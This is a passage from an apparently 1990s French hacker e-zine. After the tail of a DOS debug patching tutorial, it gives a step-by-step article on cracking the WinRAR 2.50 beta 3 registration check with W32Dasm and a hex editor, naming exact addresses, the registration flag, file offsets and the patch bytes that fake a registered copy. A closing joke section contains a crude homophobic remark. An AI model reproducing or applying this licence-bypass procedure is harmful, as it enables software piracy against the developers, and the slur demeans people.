cette case pour modifier vos valeurs, c'est comme changer les
unités sans toucher aux centaines, finalement y aura pas gros
changement, laisser donc cette case mémoire comme elle est et
modifier plutôt la case suivante (comme il s'agit de INTEL c'est
inversé donc la valeur la plus significative se trouve à la case
suivante)Donc c'est à l'adresse 1A72:085B que vous devrez changer
le tout. Pour ce faire servez-vous de la commande "e" pour éditer
EX : e 085B
ici j'ai laisser tomber le "1A72" car mon fichier est plus petit
que 65,435k je n'ai donc pas besoin de la suite, je travaille
juste sur l'offset.Et quand c'est fait vous allez voir l'ancienne
valeur : 02. il vous suffira de rentrer la valeur que vous voulez
exemple 72.
Encore une fois le "7" chanceux.
Et pour terminer il ne vous reste plus qu'à enregistrer vos
changement avec la commande "w" : w [ENTER]
Je vous laisse deviner la touche pour sortir de debug!
_________________ _____ _ ______ ____ __ __ _ _
_________________ _.;'_______ ______ _____ __ __ _ __ _ __ _ _
[' [#.15] _|_| Program Cracking
\_________/_/ So CalleD _ ______ __ _ _
Rix strike back _/_/ [By:_rix] \
___________________ __________________ _________ ______/_/_ __ _ __ _ _ _,]
Program Cracking
================
Comment les cracks sont-ils concus, et quelles sont les faiblesses de tout
ces sharewares que l'on trouve de plus en plus facilement ?
Je vais essayer de repondre a ces 2 petites questions, en utilisant pour cela
un exemple tout a fait pratique. Nous allons essayer de cracker WinRAR, un
utilitaire de compression excellent, qui permet de compresser mieux que
WinZIP, et qui en plus, permet de compresser aussi les fichiers ZIP !!!
Je vais donc ici vous montrer comment proceder sur une version de WinRAR,
en l'occurence la version 2.50 beta 3, que j'ai chargee a l'adresse suivante:
http://www.creabel.com/softronic
REMARQUE: LES TECHNIQUES QUI SONT EMPLOYEES DANS CET ARTICLE SONT SIMPLEMENT
UTILISEES ICI POUR DEMONTRER LES FAIBLES MOYENS MIS EN OEUVRE PAR LA PLUPART
DES PROGRAMMEURS POUR PROTEGER LEUR PROGRAMME, DANS LE BUT D'INFORMER CEUX-CI
DES TECHNIQUES HABITUELLES EMPLOYEES PAR LES CRACKERS, ET DE LES AIDER A S'EN
PROTEGER. LE PROGRAMME WINRAR N'EST ICI UTILISE SIMPLEMENT QU'A TITRE
D'EXEMPLE, ET L'AUTEUR DE CET ARTICLE VOUS ENCOURAGE PLUS QUE VIVEMENT A
ENREGISTRER TOUT LES PROGRAMMES SHAREWARES QUE VOUS UTILISER.
LES OUTILS
==========
Pour cela, nous allons avoir besoin de quelques outils tres pratiques et
obligatoires pour realiser ce que nous voulons.
Tout d'abord, je vous conseille de prendre WIN32DASM, le meilleur
debugger-desassembleur sous Windows (ca n'engage que moi ;).
( http://www.expage.com/page/w32dasm )
Ensuite, il sera tres interessant d'avoir un petit editeur hexadecimal, par
exemple UltraEdit, qui est tres bien fait. ( http://www.idmcomp.com )
Vous allez voir, qu'avec ces 2 programmes tres puissants, il est assez
facile de cracker un petit programme. Cependant, il est conseille d'avoir une
certaine connaissance de l'assembleur, etant donne que nous allons devoir
analyser certaines parties (petites, rassurez-vous ;), du code du programme.
WIN32DASM
=========
Avant de commencer le crack proprement dit, je vais d'abord vous expliquer
quelques fonctions bien utiles que nous offre WIN32DASM.
Une fois WIN32DASM lance, nous pouvons effectuer toute une serie de recherche
d'informations sur le programme que nous allons debugger.
Pour cela, vous pouvez d'abord charger le fichier WINRAR.EXE dans WIN32DASM,
a l'aide de la commande "Open file to disassemble" du menu "Disassembler".
Cette commande va prendre un certain temps, car c'est en fait elle qui est
responsable de toute la partie desassemblage du programme.
Une fois le programme desassemble, nous allons avoir le code de WINRAR.EXE
affiche dans la fenetre.
Ce code est decompose comme ceci:
D'abord les valeurs de l'offset et de la taille du code et des donnees.
Ensuite le nombre d'objets du programme (pas trop important pour nous ;)
Puis les eventuels menus et boites de dialogues.
Viennent ensuite toutes les APIs Windows que le programme utilise, classees
suivant la DLL d'ou elles proviennent. Puis enfin, toutes les fonctions qui
sont exportees par le programme (pas trop utiles pour nous non plus ;)
Au niveau de chaque instruction du programme, chaque ligne est composee d'une
adresse, suivie du code hexadecimal de l'instruction, suivie de l'instruction
assembleur correspondante.
Au niveau des commandes, WIN32DASM va nous permettre d'effectuer des
recherches de chaine dans le code, par exemple, grace a la commande
"Find Text" du menu "Search". Nous pouvons aussi aller a une adresse precise,
avec la commande "Goto Code Location" du menu "Goto".
WIN32DASM nous permet aussi d'effectuer les jumps et les calls dans le code
desassemble, grace aux commandes du menu "Execute Text". Lorsque WIN32DASM
detecte une instruction de saut ou de call, elle est automatiquement affichee
en vert, pour plus de facilite ;))
De plus, au debut de chaque procedure, WIN32DASM nous indique a quels endroits
du programme cette procedure est appelee. Ensuite, dans la ligne de status en
bas de la fenetre, nous pouvons voir des informations tres interessantes,
comme l'offset de l'instruction courante dans le fichier EXE original.
Nous pouvons aussi visualiser le(s) segment(s) de donnees en hexadecimal,
grace a la commande "Hex Display Of Data Object/Segments" du menu "HexData".
Enfin, nous pouvons visualiser toutes les ressources utilisees par le
programme, grace aux commandes "Menu References", "Dialog References", et
"String Data References" du menu "Refs".
On peut aussi utiliser plus facilement plusieurs de ces commandes grace a la
barre d'icones ;)
Maintenant nous allons passer au debugger.
Pour lancer le debugging du programme, il nous suffit de cliquer sur la
commande "Load Process" du menu "Debug".
On a un chtit ecran "Load Dissassembly Dialog" qui apparait, et qui peut
servir a entrer des parametres de la ligne de commandes au programme.
Ici, dans le cas de WINRAR, on a pas besoin de ca, donc on clique direct
sur "Load". Nous avons 3 fenetres qui apparaissent a l'ecran.
La 1ere contient toujours le code source desassemble.
La 2eme contient l'etat des registres, de la pile, et toutes une serie
d'informations sur les process, etc...
La 3eme contient le code tel qu'il est present en memoire, et les commandes
de debuggage proprement dit. Dans la 2eme fenetre, on peut observer au fur et
a mesure de l'execution les modifications que subissent les registres, mais aussi
observer le contenu de la pile du programme, et observer des variables qui sont
en memoire. Dans la 3eme fenetre, on peut executer le code pas a pas dans les procedures
ou non (F7/F8), on peut aussi faire une pause dans l'execution, l'executer
normalement (F9), ou encore le patcher, c'est a dire modifier les instructions qui
vont etre executees. Une autre fonction tres pratique est la fonction d'ajout de point
d'arret dans le programme. Pour cela, il faut voyager avec le curseur dans la fenetre
de code et presser sur F2 a l'endroit ou on veut placer un breakpoint. Le debut de la
ligne se met alors en jaune pour l'indiquer.
Pourquoi une 3eme fenetre alors que on a deja le code dans la 2eme ?
Tout simplement parce que cette 3eme fenetre peut nous permettre aussi de
debugger les DLLs ou les APIs Windows appelees par le programme, qui ne sont
pas presentes dans le code desassemble.
METHODES DE BASE
================
Je vais vous donner ici quelques techniques de bases pour trouver les cracks.
Faut d'abord savoir que chaque programmeur code son programme comme il le veut ,
donc il n'y a pas de methode qui marche a tout les coups. Il faut souvent tester,
analyser, et essayer, pour se rendre compte que ca ne marche pas et qu'il faut essayer
autre chose.
Tout d'abord, les programmes stockent souvent les informations de registration selon
une de ces manieres:
- dans le programme executable lui-meme, en allant modifier une donnee dans
le programme, ou bien dans un fichier de donnees quelconque.
- dans la base des registres, en mettant une valeur de cle a jour, ou dans un
fichier .INI (du aux anciennes versions de Windows, style 3.1, etc)
Dans le 1er cas, il va donc souvent s'agir d'aller modifier cette valeur pour
simuler la registration. On peut aussi essayer d'inverser les conditions de
la registration dans le programme (souvent des comparaison avec des sauts
conditionnels).
Dans le 2eme cas, on peut aussi evidemment aller modifier les informations
dans la base des registres, mais c'est plus risque. Personnellement, je vous
conseille d'essayer les inversion de comparaison dans ce cas-la aussi.
Comment savoir ou se trouvent les differentes comparaisons dans le programme?
On pourrait balayer tout le code du programme, a la recherche de ces
comparaisons, ou bien le debugger a partir du debut. Mais cette technique peut etre
tres longue, et surtout tres compliquee, car il faut quasiment connaitre tout le
fonctionnement du programme en assembleur. Si le programme fait 500 lignes ca va,
mais s'il en fait plus, comme 163000 comme WINRAR, ca devient un travail de fou ;))))
De plus, deja comprendre le programme de quelqu'un avec le code source n'est pas evident,
mais avec le code assembleur, je vous souhaite bien du courage ;))))
On va donc essayer de proceder plutot dans le sens inverse.
C'est a dire rechercher dans le code les endroits qui font intervenir des
donnees de registration, et remonter a partir de ces
donnres aux comparaisons.
Autre chose:
Ce n'est pas parce que l'on a trouver une comparaison et qu'on l'a inversee
que le crack est parfait. Les programmes sont souvent concus pour posseder
plusieurs protections, et la suppression d'une seule n'est pas suffisante.
Comme vous le voyez, il n'y a pas vraiment de grande ligne a suivre, cela se
fait un peu au feeling. Je vais essayer de vous montrer le chemin que j'ai
suivi pour cracker ce programme, avec les faux pas et les bons, pour que vous
puissiez comprendre plus efficacement.
Au niveau de la methode "generale", je vous conseille de proceder de la
maniere suivante:
- analyse de la registration au niveau de l'interface
- analyse des references
- analyse du code relatif au references
- analyse des donnees
- debugging eventuel
- patching
- tests
ANALYSE DE L'INTERFACE
======================
Pour mieux suivre la suite, je vous conseille de charger cette doc dans un
fichier dans votre bloc-notes par exemple, et de faire les tests et les
commandes en meme temps que moi. Vous comprendez surement beaucoup mieux ;)
Avant de debugger, ce que l'on a trop souvent tendance a faire au debut, nous
allons d'abord analyser un petit peu la registration en detail.
Lancons WINRAR.EXE normalement (pas dans WIN32DASM I mean ;)
Cherchons ou se trouve ce foutu ecran de registration :)
Il se trouve dans le menu "Options", commande "Registration". Notons cette
petite commande interessante. Ensuite, regardons un petit peu l'interface.
On remarque que la barre de titre de la fenetre contient un beau message "evaluation copy".
Mettons le aussi de cote.
Allons aussi voir une eventuelle information dans la boite "A propos de...",
que l'on trouve assez couramment. Ici, pas de chances, la boite de dialogue
"About WinRAR..." ne mentionne pas la registration ou non du programme.
Il est donc souvent tres interessant de noter le plus d'informations possibles qui sont
affectees par la registration, car ces informations doivent probablement subir un test
avant d'etre affichee, dans le menu, dans la barre de titre, etc...
Maintenant, nous allons essayer d'entrer un numero de registration errone,
pour voir comment le programme reagit. Ne vous inquietez pas, tout les
programmes permettent des erreurs de registration, c'est si vite arrive, donc
pas d'panik ;)
Nous lancons donc la commande "Registration" du menu "Options", et nous
arrivons devant une belle boite de dialogue. Notons toutes les chaines de
caracteres qui sont affichees dans cette boite de dialogue, elle pourront
eventuellement nous renseigner sur l'endroit ou la boite de dialogue est
appelee dans le programme.
Ensuite, entrons un texte et un code de registration, n'importe quoi.
Par exemple: "iga" et "iga", et pressons "OK".
Nous avons immediatemment une boite de dialogue qui s'amene, toute contente,
avec un titre "Warning", ainsi qu'un beau message "Registration failed".
Notons evidemment ces chaines de caracteres.
Voila, nous avons a peu pres tout note au niveau de l'interface...
ANALYSE DES REFERENCES
======================
Nous lancons WIN32DASM et chargeons le programme WINRAR.EXE.
Nous allons d'abord analyser les references, c'est a dire essayer de trouver
les donnees que nous avons note dans la phase precedente, et de trouver ou
ces donnees sont utilisees dans le programme.
Allons dans le menu "Refs", et cliquons sur "Menu References".
Nous avons une liste de toutes les chaines presentes dans les menus qui sont
affichees. Parcourons un peu cette liste, a la recherche de chaines qui
pourraient nous interesser.
Nous trouvons la chaine "Registration", correspondant a la commande du menu
"Options". Cliquons 2x sur cette chaine, WIN32DASM saute directemment aux
endroits correspondants dans le code ou cette chaine est referenciee.
Nous arrivons a un endroit du code, autour de la ligne d'adresse 0044B3A6,
0044B3AB. A priori, le code qui suit n'as pas l'air tres explicite sur ce qui
se passe a cet endroit la du code. En fait, les commandes de menus n'apportent
pas souvent d'informations tres utiles, car elles sont justes affichees et
n'effectuent aucun traitement. La decision de l'affichage ou non de la commande
ne se fait pas au meme endroit dans le code, elle se fait dans la gestion de
l'objet du menu, dont nous ne savons pas ou elle se trouve ;)
Allons maintenant dans le menu "Refs", et cliquons sur "Dialog References".
Parcourons cette liste, a la recherche d'informations. Nous ne trouvons
malheureusement pas d'information tres interessante.
Allons ensuit dans le menu "Refs", sur "String Data References".
Cette liste contient toutes les chaines de caracteres du programme.
Elle est assez longue, mais il est tres interessant de la parcourir
entierement, car elle apprend souvent plus d'informations que les references
de menu ou de boites de dialogue.
Premiere chaine interessante, sur la premiere page:
"Available in registered version only". Cliquons 2x dessus, et nous sommes
amenes dans le code pres de l'adresse 00404670. En remontant un peu dans le
code, ainsi qu'en descendant un peu, autour de cette adresse, nous voyons des
references vers "Unselect group","Invert selection copy", etc...
Cela nous indique que ce message permet de faire des selections de groupe,
etc... dans la version enregistree. En observant un peu plus le code juste
au dessus de la ligne, nous avons ceci:
call 0040A0C0
add esp,0000000C
test eax,eax
je 00404678
push 00000001
Pourquoi remarquer cette partie du code ? Tout simplement parce que nous y
observons une comparaison TEST, sur le registre eax.
La commande TEST en assembleur compare le contenu du registre de gauche a
celui de droite, en effectuant un AND binaire bit a bit entre les 2 registres.
Ici, comme nous faisons un AND binaire entre EAX et EAX, nous obtenons forcement
EAX comme valeur resultante. Cette methode est souvent utilisee par des compilateurs,
pour optimiser le code, pour savoir si un registre est egal ou non a 0. Donc, si EAX
est egal a 0, le processeur saute a l'adresse 00404678. Allons un peu ce qui se passe
a cet endroit. Positionons le curseur sur la ligne "je 00404678", et la ligne devient
de couleur verte. ( JE est une instruction assembleur qui effectue un saut a l'adresse
indiquee si les valeurs comparees dans la derniere comparaison etaient egales )
Maintenant, cliquons sur lancons la commande "Execute Jump" du menu "Execute Text".
Nous arrivons donc a l'adresse 00404678. Remontons un petit peu, pour voir ou nous
sommes, et oh surprise :)))
Nous avons sauter la partie du code qui utilisait la reference !!!
Qu'est-ce que cela veut dire ? Cela veut dire que EAX, s'il est different de
0, a cet endroit du programme, indique probablement si le programme est
enregistre ou non. Pourquoi EAX ?
Retournons a notre instruction de saut JE originale, en pressant "Return From
Last Jmp" dans le menu "Execute Text".
Un peu au dessus, juste au dessus de la ligne "add esp,0000000C", nous avons
une instruction CALL. CALL represente un appel de procedure. Or, dans la
programmation habituelle structuree sous Windows, les fonctions (procedures)
renvoient leur valeur resultante dans le registre EAX.
Donc, apparement, cette fonction renvoie une information concernant la
registration ou non du programme.
Allons donc un peu voir ce que cette fonction fabrique ;)
Nous allons donc sur le CALL, puis nous lancons la commande "Execute Call" du
menu "Execute Text". Nous arrivons dans le code de cette procedure.
Un petit rappel, la fin de la procedure est toujours signalee par un RET.
Ici, nous apercevons un RET quelques lignes plus bas, qui montre donc que
cette procedure n'est pas tres longue.
Autre information: au debut les procedures, vous appercevrez souvent beaucoup
de commandes qui font intervenir [ebp+X] dans des instructions assembleur.
Cela est du tout simplement au fait que les parametres des fonctions sont
passes sur la pile dans les languages courants, et que ce registre EBP est
classiquement utilise pour acceder a ces parametres.
De meme, le registre ESP est lui souvent modifie en debut de procedure pour
"descendre" la pile, et reserve de l'espace dessus, le plus souvent pour les
variables locales de la procedure. Cela se fait au moyen d'une instruction
"sub esp,VALEUR". Ce n'est cependant pas le cas dans cette procedure.
Cette fonction ne fait donc apparement pas grand chose, exepte un autre CALL,
vers l'adresse 0040A064. Allons voir cette 2eme fonction, avec la commande
"Execute Call". Nous arrivons a une procedure apparement plus importante.
En regardant un petit peu les pages qui suivent, nous appercevons que cette
procedure fait appel a une API Windows: l'API RegQueryValueExA (ligne en bleu
dans le code). Cette API est en effet une API qui permet d'aller chipoter dans
la base des registres... hehe cela devient interessant ;)
Mais cette fonction a l'air assez compliquee, donc nous n'insiston pas trop
pour l'instant...
Vous pouvez revenir 2x en arriere avec la commande "Return From Call", puisque
nous avons utiliser 2x la commande "Execute call" ;))
Nous avons donc analyser tout ce qui tourner autour de la 1ere refrence de
chaine qui nous semblait interessante.
Revenons a la liste des references de chaine, et continuons a la parcourir.
Beaucoup plus loin vers la moitie de la liste, nous trouvons la reference
suivante: "String Resource ID=00870 : Registration Failed", ainsi que
plusieurs autres chaines interessantes derriere !!! Cliquons 2x sur la
reference "Registration Failed", pour voir ou cette reference est utilisee par le programme.
Nous arrivons autour de l'adresse 00409DC0.
Ahhh... Enfin quelques trucs interessants ;)
Tout d'abord, nous observons un peu en dessous un bel appel de l'API
MessageBoxA. En remontant d'une page, on appercoit aussi notre "Warning", qui
etait le titre de la boite de dialogue du message d'erreur...
En regardant un peu apres le MessageBoxA, nous appercevons un autre message
que l'on aimerai justement bien voir apparaitre ;)))
"Correct Registration", suivi de "Thank you for support", puis suivi encore
un peu plus loin d'une autre appel a MessageBoxA.
Tout cela devient assez interessant n'est-ce pas ;)))
D'ou cela provient-il ?
Le fait que ces 2 messages soient si proches l'un de l'autre n'est pas du
au hasard. Quand le compilateur code une instruction conditionnel du type
"if {} else {}", il utilise pour cela une comparaison en assembleur, suivie
d'un Jx (JE,JC, sauts conditionnels) vers l'une des solutions. L'autre
solution reste dans le deroulement "sequentiel" du code du programme.
Donc, vraissemblablement, il doit y avoir de nouveau une comparaison avant
ces instructions qui effectue un saut vers l'un ou l'autre des affichages,
suivant que le programme est enregistre ou non.
Remontons donc un petit peu, vers + ou - l'adresse 00409DA9.
Nous retrouvons un suite d'instructions un peu semblable a tantot, a savoir:
call 004272C0
add esp,00000008
test eax,eax
jne 00409DE1
Apres ces instructions, le processeur continue et execute les instructions
qui vont afficher la boite de dialogue avec une erreur de registration.
Analysons un peu le JNE, pour voir ou il nous emmene, en utilisant la commande "Execute Jump".
Oh surprise :)))
Nous nous retrouvons cette fois devant le message "Correct registration" !!!
Donc, de nouveau, c'est la comparaison "test eax,eax" qui precede qui decide
ou non du fait que le programme est enregistre...
Et de nouveau, nous avons un peu avant cela un appel de fonction, qui renvoie
sans doute une valeur dans EAX.
Remarque: certains personnes auraient tendance a aller essayer de modifier la
comparaison qui effectue le saut vers le bon affichage, en l'inversant.
Attention ! Si vous ne modifiez que ce saut, vous aurez en effet le bon
message "Registration Correct" qui sera affiche, mais les commandes actives
dans la version enregistree ne seront toujours pas valide !
En regle generale, il est preferable d'essayer de modifier la source de la
comparaison, que la comparaison elle-meme, car il y en a souvent plus que une.
ANALYSE D'UNE PROCEDURE INTERESSANTE
====================================
Allons un peu voir ce qui se trouve dans la fonction (commande "Execute
Call"). Nous nous rendons compte que cette fonction a l'air assez longue, et
qu'elle appelle elle-meme plusieurs autres fonctions...
Mais que cherchons nous ? En fait, nous cherchons a atteindre la fin de la
procedure, et de voir quelle est la valeur qui est renvoyee via EAX a notre
programme principal.
Notons cependant l'adresse du CALL vers la fonction: 00409DA9
Nous allons donc parcourir cette fonction, en effectuant tout les jumps
internes grace aux commandes "Execute Jump", jusqu'a ce que nous arrivions
a la commande RET. Nous ne rentrerons cependant pas dans les CALL de cette
procedure, pour ne pas nous perdre ;)
Pourquoi ne pas effectuer ceci avec un desassembleur allez vous dire ?
Tout simplement pour eviter de perdre inutilement du temps dans des boucles
eventuelles, qui pourraient rendre le tout extremement confu ;)
Donc, des que la couleur du curseur devient verte (saut), nous regardons s'il
ne s'agit pas d'un CALL, et si ce n'est pas le cas, nous regarderons si nous
devons executer ce saut ou pas.
Nous allons ainsi arriver au 1er test:
0042732A test eax,eax
je 00427334
Nous allons essayer d'arriver le plus vite possible vers la fin de la
procedure, et si nous ne trouvons rien d'interessant de cette maniere, nous
essayerons un autre "parcours" dans la procedure.
Pour aller le plus vite, il sufit de regarder les sauts conditionnels, et de
voir si l'adresse cible est apres l'adresse courante ou non. Si c'est le cas,
nous y allons avec la commande "Execute Jump".
Dans ce cas-ci, donc, nous executons le JE.
Nous arrivons a ceci
xor eax,eax
jmp 004275C6
Le XOR est une instruction souvent utilisee dans les compilateurs pour
remettre un registre a 0(elle est plus economique en codage hexadecimal).
En effet, le XOR effecture un OU EXCLUSIF entre les 2 registres fournis.
Or, les 2 registres etant egaux dans ce cas-ci, il en resulte un 0.
Effectuons ensuite le saut inconditionnel vers 004275C6.
Nous nous retrouvons a la fin de la procedure, apres une serie de depilage
peut interessants. Donc, c'est une valeur de 0 qui est retournee a notre
programme principal, et nous savons que cette valeur 0 entrainera un
affichage d'un message de registration incorrecte.
Nous allons donc revenir au test precedent la mise a 0 de EAX, et prendre
l'autre parcours, a savoir ne pas effectuer le JE.
Pour revenir, nous pouvons utiliser la commande "Return From Last Jump" 2x.
Pourquoi ne pas essayer de savoir d'ou provient la valeur qui est dans EAX a
cet endroit ? Parce que nous ne sommes peut-etre qu'au debut de la procedure,
et que cette valeur n'a peut-etre rien avoir directemment, ou que cette valeur
peut encore subir plusieurs modifications avant la fin de la procedure.
Nous n'executons donc pas le "je 00427334". Nous arrivons a un 2eme test:
cmp dword ptr [ebp-04],0000003C
jle 0042733B
Si nous n'executons pas ce jump, nous observons que nous revenons au fameux
"xor eax,eax", ce qui n'est pas interessant. Nous executons donc ce JLE.
Nous avancons un petit peu, jusqu'a:
00427346 mov dword ptr [0045155C],eax
test eax,eax
jne 00427368
Qu'observons nous la ?
Tout d'abord, nous observons de nouveau un TEST sur EAX.
Mais, nous observons aussi que le programme accede a une variable globale,
situee a l'adresse [0045455C]. Or, un bon programmeur evite le plus possible
d'utiliser des variables globales, sauf quand cela est vraiment necessaire.
Le plus souvent, il utilise des variables sur la pile, referencees d'une toute
autre maniere, a l'aide des EBP ou de ESP.
N'oublions pas que une variable quelconque qui indiquerai la registration
serait plus probablement globale que locale, etant donne qu'elle doit etre
probablement accessible a un grand nombre de fonctions.
Si nous n'effectuons pas le JNE, nous nous rendons compte qu'une chaine
"Not enough memory" est utilisee, ce qui semble etre un cas particulier, donc
nous allons plutot executer le JNE.
Nous arrivons a une longue sequence d'instructions, et nous continuons notre
parcours, jusqu'a:
004273C9 lea eax,dword ptr [ebp+FFFFFF74]
jge 004273DF
Executons ce saut, qui nous rapproche probablement de la fin.
Nous executons encore le saut suivant un peu plus loin, qui nous rapproche lui
aussi de la fin.
Nous arrivons a:
0042740C inc ebx
inc [ebp-10]
cmp ebx,00000005
jl 004273EA
Ce saut revient en arriere, probablement parce qu'il s'agit d'une boucle,
donc nous ne l'executons pas. Nous continuons a avancer, et nous voyons que
nous entrons dans une serie d'instructions plutot difficile a interpreter...
C'est souvent la partie la plus critique de l'analyse, car on ne sait pas tres
bien quel solution prendre. Rappelez vous toutefois que la procedure doit
obligatoirement sortir par un RET, et que donc, quel que soit le chemin, il y
aura toujours un moment ou nous arriverons a ce RET. Dans ce cas-ci, plutot que
d'executer ces instructions aux risque de s'y perdre, essayer de retourner a la
fin de la fonction (adresse 004275C6 provenant du saut du debut avec EAX qui etait
remit a 0 par un XOR).
Remontons un peu au dessus de cette adresse, pour voir ce qui se passe quand
on arrive a la fin de la fonction par un autre chemin.
En fait, cette methode est plutot essayer des le debut, car elle nous aurait
eviter tout le parcous interne de la procedure. Nous avons suivi un petit peu
ce parcours interne comme exemple, pour voir comment se debrouiller lorsqu'il
y a divers type de sauts qui etaient interessants.
Maintenant revenons au lignes precedants la fin de la fonction.
Voila qui devient interessant. Observons la ligne precedente:
mov eax,dword ptr [0045157C]
Cette ligne place donc comme valeur de retour de notre procedure (puisque EAX
n'est plus modifie par apres), la valeur de la variable globale d'adresse
0045157C. La il n'y a plus a hesiter...
Nous venons probablement de trouver l'adresse d'un flag qui indique la
registration ou non de notre programme !
Resumons: si ce DWORD est a 0, le programme n'est pas enregistre.
Si il est different de 0, le programme est bien enregistre !
ANALYSE DES DONNEES
===================
Nous allons maintenant aller voir ce que contient effectivement cette petite
variable bien interessante ;)
Pour cela, nous allons aller dans le menu "HexData", commande
"Hex Display of Data Object/Segments". Rendons nous donc a l'adresse
0045157C (il faut cliquer sur Page, pour passer a la page suivante).
Nous arrivons a:
00451578 00 00 00 00 xx 00 00 00
00451580 00 00 00 00 00 00 00 00
00451588 00 00 00 00 00 00 00 00
00451590 00 00 00 00 00 00 00 00
00451598 00 00 00 00 C4 F4 E6 E4
Ou l'adresse recherchee est la valeur xx et est egale a 0 !
Cela parait coherent. Le programme n'est pas enregistre, et la valeur du flag
est en effet bien egale a 0.
Qu'allons nous faire ? bahh, assez logiquement, nous allons essayer de
modifier la valeur de ce byte. Comment proceder ? Nous allons essayer d'aller
modifier la valeur de ce byte directement dans WINRAR.EXE.
Pourquoi directemment dans le fichier .EXE ? Pour etrecertain que la valeur
que nous allons mettre sera bien en memoire des la 1ere instruction du
programme. Retournons au tout debut du listing du desassemblage.
Nous avons la une information interessante:
Data Offset = 0004CC00, Data Size = 00007C00
Cela veut dire que notre segment de donnees commence au byte nø0004CC00 dans
le fichier WINRAR.EXE .
Retournons maintenant dans la fenetre "Hex Display of Data Object/Segments",
sur la 1ere page.
Nous observons que la 1ere donnee se trouve a l'adresse 0044E000.
Notre variable elle, se trouve a l'adresse 0045157C.
Nous effectuons donc le calcul 0004CC00+(0045157C-0044E000), avec la
calculatrice en mode hexadecimal de Windows (je parie que vous vous en etiez
jamais servi hein ;)))
Ca nous donne comme resultat: 5017C.
Nous allons donc aller modifier le byte nø5017C dans WINRAR.EXE
Avant toute modification, je vous conseille de sauvegarder le fichier
WINRAR.EXE original, par securite.
Nous lancons ensuite UltraEdit, et ouvrons le fichier WINRAR.EXE en mode
d'edition hexadecimale (menu "Edit", "Hex Edit"), et nous nous rendons a
l'offset 5017C du fichier (l'offset est affiche dans la barre de status en
dessous). Nous remarquons que nous retrouvons bien les meme bytes
"C4 F4 E6 E4" qui suivaient un peu plus loin dans les donnees en memoire, ce
qui confirme qu'on est bien au bon endroit.
Qu'allons nous mettre a cet adresse ?
Une valeur differente de 0, peut importe. Mettons par exemple "FF FF FF FF",
pour etresur ;) Puis sauvegardons le fichier WINRAR.EXE
Et si on essayait ? Nous lancons WINRAR.EXE, et...
surprise, c'est comme si on avait rien change :(((
D'ou cela provient-il ? Cela veut dire que la valeur qui est dans le fichier
n'intervient pas lors de l'execution, qu'elle est simplement ecrasee par
la valeur reelle du flag a un moment dans le programme.
DEBUGGING
=========
Nous allons donc maintenant essayer de savoir ou a lieu cette modification
de la variable. Pour cela, nous allons relancer WIN32DASM, charger WINRAR.EXE,
et lancer le debugger.
Nous cliquons donc sur la commande "Load Process" du menu "Debug", puis nous
pressons "OK" (aucun parametre).
Ensuite, nous allons mettre des points d'arrets a tout les endroits du
programme qui font reference a l'adresse 0045157C.
Pour cela, nous allons dans le menu "Search", commande "Find Text", et nous
tapons l'adresse "0045157C" a rechercher.
A la 1ere occurence trouvee, vous pressez annuler, pour ne plus avoir cette
fichue boite de dialogue affichee ;), puis vous pressez F2, pour activer un
point d'arret a cet endroit. La ligne doit normalement s'afficher en jaune.
Puis vous pressez sur F3 pour continuer la recherche, et de nouveau F2...
Vous procedez ainsi de suite jusqu'a avoir un message
"Text {0045157C} Not Found".
Au passage, vous pouvez remarquer que cette adresse a l'air d'etre
effectivement beaucoup utilisee avec des comp "[0045157C],00000000", donc
probablement des tests qui verifie la registration ;)
Maintenant, nous allons lancer le programme, avec la commande "Run" (F9).
Aussitot lance, aussitot arrete hehe ;)
Normalement, vous etes arrete au breakpoint:
00427554 test eax,eax
00427556 sete al
00427559 and eax,00000001
0042755C mov dword ptr [0045157C],eax <- BREAKPOINT
Comme vous le remarquez, la valeur courante de EAX est apparement placee
dans la variable, d'ou l'ecrasement que nous avions mentionne tantot...
Que faire ? La solution la plus facile serait d'eviter l'ecrasement de notre
variable, que nous avons initialisee a FFFFFFFFh en patchant l'executable.
Pour cela, nous allons utiliser l'instruction NOP (90h), qui est une
instruction qui ne fait rien. Cependant elle occupe des octets, ce qui va nous
aider, puisque la structure du fichier .EXE ne sera donc pas modifiee.
Placons le curseur exactement sur l'adresse de l'instruction de modification.
Au passage, notons:
0042755C A37C154500 mov dword ptr [0045157C],eax
Donc, cette instruction est codee de maniere hexadecimale par
"A37C154500". Dans la barre de status du dessous, nous notons aussi l'offset
de l'instruction dans le fichier executable:
"@Offset 00026B5Ch in File:WinRAR.exe"
Nous ressortons donc UltraEdit, pour aller modifier les 5 bytes situes a
l'offset 00026B5Ch, et aller y ecrire 9090909090h.
Mais tout n'est pas termine...
Nous pouvons aussi nous servir des lignes precedents la commande MOV.
En effet, si nous les regardons plus attentivement, en observant la derniere
instruction "and eax,00000001", nous pouvons en tirer comme conclusion que la
valeur est une valeur egale soit a 0 soit a 1. En effet, la commande AND est
souvent utilisee pour masquer des bits en effectuant un AND logique.
Danc ce cas-ci, elle masque tout les bits sauf le premier.
Etant donne que la valeur 0 signifie que le programme n'est pas enregistre,
nous pouvons donc estimer que la variable a l'adresse 0045157C doit contenir
la valeur 1 pour simuler la registration.
Nous allons donc avec UltraEdit, aller remplacer la valeur FFFFFFFFh que nous
avions ete mettre tantot, par la valeur 00000001, qui est plus appropriee.
Puis nous relancons notre programme et...
... et cette fois ca a bien l'air de marcher ;))))
La barre de titre de la fenetrenous l'indique en tout cas.
Allons voir dans le menu "Options".
Tient tient, l'option "Registration" est toujours presente.
Entrons des valeurs pour voir: "iga" "iga"
Nous avons bien la boite de dialogue "Correct Registration" qui apparait.
Voila qui est fait ;)
Il reste cependant une enigme, a savoir le fait que la commande "Registration"
soit toujours presente dans les menus. N'ayant pas eu de version enregistree
mai seulement des version de demonstration, je ne peut savoir si elle est
toujours bien presente dans les versions enregistrees officiellement.
Cependant tout les tests concernant le flag de registration semblent montrer
la faiblesse du systeme de protection du programme.
LE MOT DE LA FIN
================
Pour resumer, nous devons donc modifier les octets suivants dans le programme:
offset: 5017C : 00 00 00 01
offset: 26B5C : 90 90 90 90 90
Pour faciliter cette tache, je vous conseille de programmer une petite
fonction dans le language de votre choix, que vous pourriez utiliser
facilement, en donnant l'offset et le byte a patcher.
Voila,j'espere que vous n'avez pas eu trop de mal a comprendre la methode
generale expliquee ici ;)
Ciao,
___________________
[Quotes of the month]\____________________________
[__2 --> Non je veux pas y aller a la garderie c'ete!
[Wyze--> Bah fait toe en pas, on vas y aller ensemble!
[Qwz --> Bah moe je suis toujours rendu la!
[JacK--> La garderie ca suxx, les monitrices c toutes des lesbiennes!!
[Bozz--> Eil c'est degelasse, y veulent meme pas me laisser rentrer a la garderie!
[Data--> Look like deja partie pour l'ete, ha les camps de vacances.
